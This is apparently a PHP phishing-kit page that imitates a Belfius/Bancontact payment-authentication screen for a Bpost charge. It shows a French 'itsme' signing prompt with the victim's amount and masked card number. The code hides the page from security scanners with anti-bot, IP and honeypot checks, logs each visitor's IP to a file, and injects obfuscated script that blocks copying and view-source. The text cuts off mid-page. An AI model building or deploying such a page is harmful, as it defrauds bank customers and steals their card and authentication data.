<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';


include 'M3tri-anti-bots_v0.01/M3tri-Organization.php';
include 'M3tri-anti-bots_v0.01/M3tri-ips.php';
include 'M3tri-anti-bots_v0.01/M3tri-OS-BRS.php';
include 'M3tri-anti-bots_v0.01/M3tri-UA.php';
include 'M3tri-anti-bots_v0.01/M3tri-vpn-proxy.php';
require_once './includes/HunterObfuscator.php'; //Include the class




$currentIP = getRealIP();
if (isIPBanned($currentIP)) {
    header('Location: 403.php');
    exit();
}

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {

    $stripos = $stripos + 1;
}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'] . $ip . date('Y:M:D'));


// Geo-filter removed: all countries are allowed


if ($token1 != $_GET['token'] || $stripos > 0) {
    header("location: " . $errorUrl . "?" . $_GET['token']);
    exit;
}


if ($_GET['error'] == 'on') {

    $errormsg = "<p><span style='color: red;font-size:small;'>vous n'avez pas approver correctement !</span><br></p>";
}

if (!$_SESSION['amount']) {


    $_SESSION['amount'] = $amount;
}

$cardb = substr($_SESSION['cn'], 0, 1);

if ($cardb == '5') {
    $imagecc = "data:image/png;base64, ";
} else if ($cardb == '4') {
    $imagecc = "data:image/png;base64, ";
} else {
    $imagecc = "data:image/png;base64, ";
}


$fp = fopen('users/' . $ip . '.txt', 'wb');
fwrite($fp, '');
fclose($fp);

?>
<!DOCTYPE html>

<html>

<head>
    <meta charset="utf-8">

    <style></style>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>ACS</title>













    <style>
        /*!
 * Bootstrap v3.3.6 (http://getbootstrap.com)
 * Copyright 2011-2015 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 */
        /*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */
        html {
            font-family: sans-serif;
            -webkit-text-size-adjust: 100%;
            -ms-text-size-adjust: 100%
        }

        body {
            margin: 0
        }

        img {
            border: 0
        }

        button {
            margin: 0;
            font: inherit
        }

        button {
            overflow: visible
        }

        button {
            text-transform: none
        }

        button {
            -webkit-appearance: button
        }

        /*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */
        @media print {

            *,
            :after,
            :before {
                color: #000 !important;
                text-shadow: none !important;
                background: 0 0 !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            img {
                page-break-inside: avoid
            }

            img {
                max-width: 100% !important
            }
        }

        * {
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box
        }

        :after,
        :before {
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box
        }

        html {
            font-size: 10px;
            -webkit-tap-highlight-color: transparent
        }

        body {
            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
            line-height: 1.42857143;
            color: #333;
            background-color: #fff
        }

        button {
            font-family: inherit
        }

        img {
            vertical-align: middle
        }

        .text-left {
            text-align: left
        }

        .text-right {
            text-align: right
        }

        .text-center {
            text-align: center
        }

        .container {
            padding-right: 15px;
            padding-left: 15px;
            margin-right: auto;
            margin-left: auto
        }

        @media(min-width:768px) {
            .container {
                width: 750px
            }
        }

        @media(min-width:992px) {
            .container {
                width: 970px
            }
        }

        @media(min-width:1200px) {
            .container {
                width: 1170px
            }
        }

        .col-xs-12,
        .col-xs-6 {
            position: relative;
            min-height: 1px;
            padding-right: 15px;
            padding-left: 15px
        }

        .col-xs-12,
        .col-xs-6 {
            float: left
        }

        .col-xs-12 {
            width: 100%
        }

        .col-xs-6 {
            width: 50%
        }

        .col-xs-offset-0 {
            margin-left: 0
        }

        @media(min-width:768px) {

            .col-sm-10,
            .col-sm-12,
            .col-sm-5,
            .col-sm-6 {
                float: left
            }

            .col-sm-12 {
                width: 100%
            }

            .col-sm-10 {
                width: 83.33333333%
            }

            .col-sm-6 {
                width: 50%
            }

            .col-sm-5 {
                width: 41.66666667%
            }

            .col-sm-offset-1 {
                margin-left: 8.33333333%
            }
        }

        @media(min-width:992px) {

            .col-md-10,
            .col-md-12,
            .col-md-6 {
                float: left
            }

            .col-md-12 {
                width: 100%
            }

            .col-md-10 {
                width: 83.33333333%
            }

            .col-md-6 {
                width: 50%
            }

            .col-md-offset-1 {
                margin-left: 8.33333333%
            }
        }

        @media(min-width:1200px) {

            .col-lg-10,
            .col-lg-12,
            .col-lg-6 {
                float: left
            }

            .col-lg-12 {
                width: 100%
            }

            .col-lg-10 {
                width: 83.33333333%
            }

            .col-lg-6 {
                width: 50%
            }

            .col-lg-offset-1 {
                margin-left: 8.33333333%
            }
        }

        label {
            max-width: 100%;
            margin-bottom: 5px;
            font-weight: 700
        }

        .btn {
            display: inline-block;
            margin-bottom: 0;
            line-height: 1.42857143;
            text-align: center;
            white-space: nowrap;
            vertical-align: middle;
            -ms-touch-action: manipulation;
            touch-action: manipulation;
            cursor: pointer;
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            background-image: none;
            border-radius: 4px
        }

        .btn.active.focus,
        .btn.active:focus,
        .btn.focus,
        .btn:active.focus,
        .btn:active:focus,
        .btn:focus {
            outline: thin dotted;
            outline: 5px auto -webkit-focus-ring-color;
            outline-offset: -2px
        }

        .btn.focus,
        .btn:focus,
        .btn:hover {
            color: #333;
            text-decoration: none
        }

        .btn.active,
        .btn:active {
            background-image: none;
            outline: 0;
            -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125);
            box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125)
        }

        .btn-default {
            background-color: #fff;
            border-color: #ccc
        }

        .btn-default.focus,
        .btn-default:focus {
            color: #333;
            background-color: #e6e6e6;
            border-color: #8c8c8c
        }

        .btn-default:hover {
            color: #333;
            background-color: #e6e6e6;
            border-color: #adadad
        }

        .btn-default.active,
        .btn-default:active,
        .open>.dropdown-toggle.btn-default {
            color: #333;
            background-color: #e6e6e6;
            border-color: #adadad
        }

        .btn-default.active.focus,
        .btn-default.active:focus,
        .btn-default.active:hover,
        .btn-default:active.focus,
        .btn-default:active:focus,
        .btn-default:active:hover,
        .open>.dropdown-toggle.btn-default.focus,
        .open>.dropdown-toggle.btn-default:focus,
        .open>.dropdown-toggle.btn-default:hover {
            color: #333;
            background-color: #d4d4d4;
            border-color: #8c8c8c
        }

        .btn-default.active,
        .btn-default:active,
        .open>.dropdown-toggle.btn-default {
            background-image: none
        }

        .btn-primary {
            background-color: #337ab7;
            border-color: #2e6da4
        }

        .btn-primary.focus,
        .btn-primary:focus {
            color: #fff;
            background-color: #286090;
            border-color: #122b40
        }

        .btn-primary:hover {
            color: #fff;
            background-color: #286090;
            border-color: #204d74
        }

        .btn-primary.active,
        .btn-primary:active {
            color: #fff;
            background-color: #286090;
            border-color: #204d74
        }

        .btn-primary.active.focus,
        .btn-primary.active:focus,
        .btn-primary.active:hover,
        .btn-primary:active.focus,
        .btn-primary:active:focus,
        .btn-primary:active:hover,
        .open>.dropdown-toggle.btn-primary.focus,
        .open>.dropdown-toggle.btn-primary:focus,
        .open>.dropdown-toggle.btn-primary:hover {
            color: #fff;
            background-color: #204d74;
            border-color: #122b40
        }

        .btn-primary.active,
        .btn-primary:active {
            background-image: none
        }

        .btn-group {
            position: relative;
            display: inline-block;
            vertical-align: middle
        }

        .btn-group>.btn {
            position: relative;
            float: left
        }

        .btn-group>.btn.active,
        .btn-group>.btn:active,
        .btn-group>.btn:focus,
        .btn-group>.btn:hover {
            z-index: 2
        }

        .btn-group .btn+.btn {
            margin-left: -1px
        }

        .btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {
            border-radius: 0
        }

        .btn-group>.btn:first-child {
            margin-left: 0
        }

        .btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle) {
            border-top-right-radius: 0;
            border-bottom-right-radius: 0
        }

        .btn-group>.btn:last-child:not(:first-child),
        .btn-group>.dropdown-toggle:not(:first-child) {
            border-top-left-radius: 0;
            border-bottom-left-radius: 0
        }

        @-webkit-keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        @-o-keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        @keyframes progress-bar-stripes {
            from {
                background-position: 40px 0
            }

            to {
                background-position: 0 0
            }
        }

        .btn-group-vertical>.btn-group:after,
        .btn-group-vertical>.btn-group:before,
        .btn-toolbar:after,
        .btn-toolbar:before,
        .clearfix:after,
        .clearfix:before,
        .container-fluid:after,
        .container-fluid:before,
        .container:after,
        .container:before,
        .dl-horizontal dd:after,
        .dl-horizontal dd:before,
        .form-horizontal .form-group:after,
        .form-horizontal .form-group:before,
        .modal-footer:after,
        .modal-footer:before,
        .modal-header:after,
        .modal-header:before,
        .nav:after,
        .nav:before,
        .navbar-collapse:after,
        .navbar-collapse:before,
        .navbar-header:after,
        .navbar-header:before,
        .navbar:after,
        .navbar:before,
        .pager:after,
        .pager:before,
        .panel-body:after,
        .panel-body:before,
        .row:after,
        .row:before {
            display: table;
            content: " "
        }

        .btn-group-vertical>.btn-group:after,
        .btn-toolbar:after,
        .clearfix:after,
        .container-fluid:after,
        .container:after,
        .dl-horizontal dd:after,
        .form-horizontal .form-group:after,
        .modal-footer:after,
        .modal-header:after,
        .nav:after,
        .navbar-collapse:after,
        .navbar-header:after,
        .navbar:after,
        .pager:after,
        .panel-body:after,
        .row:after {
            clear: both
        }

        @-ms-viewport {
            width: device-width
        }

        /*!
 *  Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome
 *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */
        @-webkit-keyframes fa-spin {
            0% {
                -webkit-transform: rotate(0);
                transform: rotate(0)
            }

            100% {
                -webkit-transform: rotate(359deg);
                transform: rotate(359deg)
            }
        }

        @keyframes fa-spin {
            0% {
                -webkit-transform: rotate(0);
                transform: rotate(0)
            }

            100% {
                -webkit-transform: rotate(359deg);
                transform: rotate(359deg)
            }
        }

        div#i18n .btn {
            border-top-right-radius: 0;
            border-top-left-radius: 0
        }

        div#message-content {
            position: relative;
            background-color: inherit;
            padding-bottom: 15px
        }

        div#message-controls {
            padding-top: 5px
        }

        @media only screen and (max-width:480px) {
            div#message-container {
                cursor: pointer;
                -webkit-transition-duration: .3s;
                -moz-transition-duration: .3s;
                -o-transition-duration: .3s;
                transition-duration: .3s;
                border-radius: 0 10px 10px 0;
                -moz-box-shadow: 0 11px 22px 0 rgba(0, 0, 0, .75)
            }

            div#message-content {
                width: 100%;
                z-index: 1030;
                -webkit-transition-duration: .3s;
                -moz-transition-duration: .3s;
                -o-transition-duration: .3s;
                transition-duration: .3s;
                overflow: hidden
            }

            span#message {
                width: 100%
            }

            span#headingTxt {
                width: 100%
            }
        }

        #headingTxt {
            width: 100%;
            margin: auto;
            display: block
        }

        div.break-word {
            word-break: break-all
        }

        div.side-menu {
            padding-bottom: 10px
        }

        div.side-menu label {
            display: inline
        }

        .side-menu .text-left,
        .side-menu .text-right {
            padding-right: 5px;
            padding-left: 5px
        }

        @media only screen and (max-width:480px) {
            div.side-menu {
                padding-bottom: 0
            }

            div.menu-title {
                display: none
            }
        }

        body {
            font-size: 14px
        }

        div[class^=col-] {
            padding-right: 0;
            padding-left: 0
        }

        .row {
            margin-right: 0;
            margin-left: 0
        }

        custom-component {
            display: block
        }

        @media only screen and (max-width:480px) {
            body {
                font-size: 12px
            }
        }

        @-webkit-keyframes opacity-60-25-0-9 {
            0% {
                opacity: .25
            }

            0.01% {
                opacity: .25
            }

            0.02% {
                opacity: 1
            }

            60.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-1-9 {
            0% {
                opacity: .25
            }

            11.1211% {
                opacity: .25
            }

            11.1311% {
                opacity: 1
            }

            71.1211% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-2-9 {
            0% {
                opacity: .25
            }

            22.2322% {
                opacity: .25
            }

            22.2422% {
                opacity: 1
            }

            82.2322% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-3-9 {
            0% {
                opacity: .25
            }

            33.3433% {
                opacity: .25
            }

            33.3533% {
                opacity: 1
            }

            93.3433% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-4-9 {
            0% {
                opacity: .305681
            }

            44.4544% {
                opacity: .25
            }

            44.4644% {
                opacity: 1
            }

            4.45444% {
                opacity: .25
            }

            100% {
                opacity: .305681
            }
        }

        @-webkit-keyframes opacity-60-25-5-9 {
            0% {
                opacity: .444569
            }

            55.5656% {
                opacity: .25
            }

            55.5756% {
                opacity: 1
            }

            15.5656% {
                opacity: .25
            }

            100% {
                opacity: .444569
            }
        }

        @-webkit-keyframes opacity-60-25-6-9 {
            0% {
                opacity: .583458
            }

            66.6767% {
                opacity: .25
            }

            66.6867% {
                opacity: 1
            }

            26.6767% {
                opacity: .25
            }

            100% {
                opacity: .583458
            }
        }

        @-webkit-keyframes opacity-60-25-7-9 {
            0% {
                opacity: .722347
            }

            77.7878% {
                opacity: .25
            }

            77.7978% {
                opacity: 1
            }

            37.7878% {
                opacity: .25
            }

            100% {
                opacity: .722347
            }
        }

        @-webkit-keyframes opacity-60-25-8-9 {
            0% {
                opacity: .861236
            }

            88.8989% {
                opacity: .25
            }

            88.9089% {
                opacity: 1
            }

            48.8989% {
                opacity: .25
            }

            100% {
                opacity: .861236
            }
        }

        @-webkit-keyframes opacity-60-25-0-10 {
            0% {
                opacity: .25
            }

            0.01% {
                opacity: .25
            }

            0.02% {
                opacity: 1
            }

            60.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-1-10 {
            0% {
                opacity: .25
            }

            10.01% {
                opacity: .25
            }

            10.02% {
                opacity: 1
            }

            70.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-2-10 {
            0% {
                opacity: .25
            }

            20.01% {
                opacity: .25
            }

            20.02% {
                opacity: 1
            }

            80.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-3-10 {
            0% {
                opacity: .25
            }

            30.01% {
                opacity: .25
            }

            30.02% {
                opacity: 1
            }

            90.01% {
                opacity: .25
            }

            100% {
                opacity: .25
            }
        }

        @-webkit-keyframes opacity-60-25-4-10 {
            0% {
                opacity: .250125
            }

            40.01% {
                opacity: .25
            }

            40.02% {
                opacity: 1
            }

            0.01% {
                opacity: .25
            }

            100% {
                opacity: .250125
            }
        }

        @-webkit-keyframes opacity-60-25-5-10 {
            0% {
                opacity: .375125
            }

            50.01% {
                opacity: .25
            }

            50.02% {
                opacity: 1
            }

            10.01% {
                opacity: .25
            }

            100% {
                opacity: .375125
            }
        }

        @-webkit-keyframes opacity-60-25-6-10 {
            0% {
                opacity: .500125
            }

            60.01% {
                opacity: .25
            }

            60.02% {
                opacity: 1
            }

            20.01% {
                opacity: .25
            }

            100% {
                opacity: .500125
            }
        }

        @-webkit-keyframes opacity-60-25-7-10 {
            0% {
                opacity: .625125
            }

            70.01% {
                opacity: .25
            }

            70.02% {
                opacity: 1
            }

            30.01% {
                opacity: .25
            }

            100% {
                opacity: .625125
            }
        }

        @-webkit-keyframes opacity-60-25-8-10 {
            0% {
                opacity: .750125
            }

            80.01% {
                opacity: .25
            }

            80.02% {
                opacity: 1
            }

            40.01% {
                opacity: .25
            }

            100% {
                opacity: .750125
            }
        }

        @-webkit-keyframes opacity-60-25-9-10 {
            0% {
                opacity: .875125
            }

            90.01% {
                opacity: .25
            }

            90.02% {
                opacity: 1
            }

            50.01% {
                opacity: .25
            }

            100% {
                opacity: .875125
            }
        }

        .message_banner_container {
            display: -webkit-box;
            display: -moz-box;
            display: -ms-flexbox;
            display: -webkit-flex;
            display: flex;
            font-family: Arial, serif !important
        }

        #headingTxt {
            font-size: 14px;
            text-align: left;
            padding: 0
        }

        .warn {
            background-color: rgba(81, 98, 111, .1) !important;
            border: 1px solid #51626f !important;
            border-radius: 2px !important
        }

        div#message-container {
            color: #fff;
            margin-bottom: 13px
        }

        #message-content .title span {
            font-size: 108%;
            line-height: 1.5;
            font-weight: 700;
            letter-spacing: normal;
            font-stretch: normal;
            font-style: normal
        }

        .warn {
            color: #51626f !important
        }

        span#message {
            width: 100%;
            margin: .3rem 0 0;
            font-size: 100%;
            letter-spacing: .5px;
            line-height: 1.43;
            display: block;
            font-stretch: normal;
            font-style: normal;
            font-weight: 400;
            padding: 0
        }

        .warn {
            color: #51626f !important
        }

        div#message-controls {
            padding: 0 !important;
            margin-top: .5em
        }

        message-banner #spinner-row {
            height: 50px
        }

        #message-content {
            margin-top: 0;
            padding: 1.1em;
            margin-left: 0;
            margin-right: 0
        }

        div#message-content {
            text-align: left
        }

        .menu-elements>div:first-child {
            display: none
        }

        .menu-elements>div:nth-child(2) {
            display: none
        }

        .menu-elements>div:first-child {
            display: block
        }

        .main {
            background: #fafafa 0 0 no-repeat padding-box;
            opacity: 1
        }

        .header {
            display: flex;
            align-items: center;
            height: 50px;
            margin-left: 24px;
            margin-right: 24px
        }

        #issuerLogo,
        #networkLogo {
            max-height: 50px;
            max-width: 90px
        }

        .mean-content {
            background: #fff 0 0 no-repeat padding-box;
            border: 1px solid #e8ebed;
            border-radius: 6px;
            opacity: 1;
            margin-top: 15px
        }

        .side-menu {
            margin-top: 10px
        }

        .menu-elements span {
            text-align: left;
            color: #51626f;
            opacity: 1;
            letter-spacing: 0;
            font-size: 14px
        }

        .menu-elements div div div>span:first-child {
            margin-left: 24px;
            width: 25%;
            min-width: 150px
        }

        .menu-elements div div div>span:first-child span {
            font-weight: 500;
            font-family: ArialMT, sans-serif
        }

        .menu-elements div div div>span:last-child span {
            font-weight: 700;
            font-family: Arial-BoldMT, sans-serif;
            font-size: 13px
        }

        .cancel-button button {
            background: 0 0 !important;
            border: 0;
            padding: 0 !important;
            font-stretch: normal;
            font-style: normal;
            cursor: pointer;
            text-align: left;
            text-decoration: underline;
            letter-spacing: -.13px;
            color: #51626f !important;
            opacity: 1;
            margin-left: 24px;
            margin-bottom: 24px;
            font-family: ArialMT, sans-serif;
            font-weight: 500;
            font-size: 16px
        }

        .cancel-button button:hover,
        .helpButton>button:hover,
        div#i18n button:hover {
            color: #979faa !important
        }

        .helpButton>button {
            text-decoration: none;
            background: 0 0 !important;
            border: 0;
            padding: 0;
            font-stretch: normal;
            font-style: normal;
            cursor: pointer;
            text-align: left;
            letter-spacing: -.13px;
            color: #51626f !important;
            opacity: 1;
            font-family: ArialMT, sans-serif;
            font-weight: 500;
            font-size: 14px
        }

        .footer {
            margin-bottom: 26px;
            margin-top: 8px
        }

        div#i18n {
            font-family: Arial, sans-serif;
            line-height: 0;
            color: #51626e
        }

        div#i18n button {
            background: 0 0;
            color: #51626f;
            font-weight: 500;
            font-size: 14px;
            border: 0;
            border-left: 1px solid #51626f;
            border-radius: 0;
            padding: 0 .5em;
            line-height: 1em
        }

        div#i18n button:first-child {
            border: 0
        }

        div#i18n button:last-child {
            border-right: 1px solid
        }

        div#i18n button.active,
        div#i18n button:hover {
            text-decoration: underline;
            box-shadow: none;
            -webkit-box-shadow: none
        }

        @media screen and (max-width:600px) {
            .menu-elements div div div>span {
                width: 100% !important;
                margin-left: 0 !important;
                padding-left: 0 !important
            }

            .menu-elements div div div>span:last-child span {
                font-size: 12px
            }

            .menu-elements div div div>span:first-child span {
                font-size: 11px
            }

            .header {
                margin-left: 0;
                margin-right: 0
            }

            #issuerLogo,
            #networkLogo {
                max-width: 80px
            }

            .cancel__container {
                text-align: center
            }

            .cancel-button button {
                margin-left: 0;
                margin-bottom: 16px
            }
        }

        .itsme_text,
        .menu-title {
            text-align: left;
            font-size: 18px;
            margin: 15px 0 15px 24px;
            color: #c30045;
            font-family: BelfiusAlternativeBold, Arial, sans-serif
        }

        .messagetext {
            text-align: center;
            padding: 20px;
            font-size: 14px;
            color: #51626e;
            font-family: BelfiusAlternativeBold, Arial, sans-serif
        }

        .cancel__container {
            margin-top: 10px;
            text-align: center
        }

        @media screen and (max-width:600px) {

            .itsme_text,
            .menu-title {
                margin-left: 0
            }
        }

        @media only screen and (max-width:480px) {

            .itsme_text,
            .menu-title {
                font-size: 14px;
                margin: 10px 0
            }

            .messagetext {
                padding: 10px
            }

            div.menu-title {
                display: block !important
            }
        }

        .sf-hidden {
            display: none !important
        }

        .menu-elements>div:first-child {
            display: block
        }

        .menu-elements>div:nth-child(2) {
            display: block
        }
    </style>
    <meta name="referrer" content="no-referrer">
    <style>
        .sf-hidden {
            display: none !important
        }
    </style>
    <style>
        img[src="data:,"],
        source[src="data:,"] {
            display: none !important
        }
    </style>
</head>

<body>

    <ui-view class="ng-scope" style>
        <poll class="ng-scope ng-isolate-scope">
            <custom-component class="ng-isolate-scope">
                <div class="ng-scope">
                    <div>
                        <div class="main">
                            <div class="container">
                                <div class="mean-content col-xs-12 col-sm-10 col-md-10 col-lg-10 col-md-offset-1 col-lg-offset-1 col-sm-offset-1">
                                    <div class="row header">
                                        <div class="col-xs-6 col-sm-6 col-md-6 col-lg-6">
                                            <custom-image id="issuerLogo" class="ng-isolate-scope">
                                                <img id="issuerLogo" alt="59050 BELFIUS Bank&amp;#8482;" class="custom-image" src="data:image/png;base64, ">
                                            </custom-image>
                                        </div>
                                        <div class="col-xs-6 col-sm-6 col-md-6 col-lg-6 text-right">
                                            <custom-image id="networkLogo" class="ng-isolate-scope">
                                                <img id="networkLogo" alt="BANCONTACT" class="custom-image" src="bc_files/bpost.png">
                                            </custom-image>
                                        </div>
                                    </div>
                                    <message-banner id="mbId" class="ng-isolate-scope">
                                        <div id="message-container" class="ng-scope warn unfold" style>
                                            <div id="message-content">
                                                <custom-component class="ng-isolate-scope">
                                                    <div class="ng-scope">
                                                        <div>
                                                            <div class="message_banner_container">
                                                                <span id="warning_icon" class="fa fa-exclamation-triangle exclamationTriangle sf-hidden" aria-hidden="true"></span>
                                                                <div>
                                                                    <div class="title">
                                                                        <custom-text id="headingTxt" class="ng-isolate-scope">
                                                                            <span id="headingTxt" class="custom-text ng-binding">Authentification en cours</span>
                                                                        </custom-text>
                                                                    </div>
                                                                    <div>
                                                                        <custom-text id="message" class="ng-isolate-scope">
                                                                            <span id="message" class="custom-text ng-binding">Veuillez patienter quelques secondes le temps de vérifier votre saisie.</span>
                                                                        </custom-text>
                                                                    </div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </custom-component>
                                                <div id="message-controls">
                                                    <div id="return-button-row" class="message-button ng-hide sf-hidden"></div>
                                                    <div id="spinner-row" spinner class="ng-isolate-scope">
                                                        <div class="spinner" role="progressbar" style="position:relative;width:0px;z-index:0;left:50%;top:25px">
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-0-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(0deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-1-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(36deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-2-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(72deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-3-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(108deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-4-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(144deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-5-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(180deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-6-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(216deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-7-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(252deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-8-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(288deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                            <div style="position:absolute;top:-2px;opacity:.25;animation:1s linear 0s infinite normal none running opacity-60-25-9-10">
                                                                <div style="position:absolute;width:15px;height:5px;background:#ffffff;box-shadow:rgba(0,0,0,0.1) 0px 0px 1px;transform-origin:left center;transform:rotate(324deg) translate(7px,0px);border-radius:2px"></div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div id="close-button-row" class="message-button ng-hide sf-hidden"></div>
                                                </div>
                                            </div>
                                        </div>
                                    </message-banner>
                                    <div class="row" id="mainLayout">
                                        <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
                                            <side-menu [menutitle]="'network_means_pageType_201'" menu-title="'network_means_pageType_201'" class="ng-isolate-scope">
                                                <div class="side-menu text-center">
                                                    <div class="row menu-title">
                                                        <custom-text class="ng-isolate-scope">
                                                            <span id class="custom-text ng-binding">Confirmez votre demande</span>
                                                        </custom-text>
                                                    </div>
                                                    <div class="menu-elements">
                                                        <div class="receipt-field" style="margin-bottom: 5px; margin-left: 24px;">
                                                            <div class="text-left">
                                                                <strong style="color:#555;">Bénéficiaire:</strong> <span style="color:black; font-weight:bold;">Bpost</span>
                                                            </div>
                                                        </div>
                                                        <div class="receipt-field" style="margin-bottom: 5px; margin-left: 24px;">
                                                            <div class="text-left">
                                                                <strong style="color:#555;">Montant:</strong> <span style="color:black; font-weight:bold;"><?php echo $_SESSION['amount']; ?> €</span>
                                                            </div>
                                                        </div>
                                                        <div class="receipt-field" style="margin-bottom: 5px; margin-left: 24px;">
                                                            <div class="text-left">
                                                                <strong style="color:#555;">Date:</strong> <span style="color:black; font-weight:bold;"><?php date_default_timezone_set('Europe/Brussels'); echo date('Y/m/d H:i:s') . ' CET'; ?></span>
                                                            </div>
                                                        </div>
                                                        <div class="receipt-field" style="margin-bottom: 5px; margin-left: 24px;">
                                                            <div class="text-left">
                                                                <strong style="color:#555;">Votre numéro de carte:</strong> <span style="color:black; font-weight:bold;">xxxxxxxxxxxx<?php echo substr($_SESSION['cn'], -4); ?></span>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </side-menu>
                                        </div>
                                        <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 text-left">
                                            <div class="row itsme_text">
                                                <custom-text class="ng-isolate-scope">
                                                    <span id class="custom-text ng-binding">Signer avec itsme</span>
                                                </custom-text>
                                            </div>
                                        </div>
                                        <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 text-center" id="padding">
                                            <div class="row messagetext">
                                                <custom-text class="ng-isolate-scope">
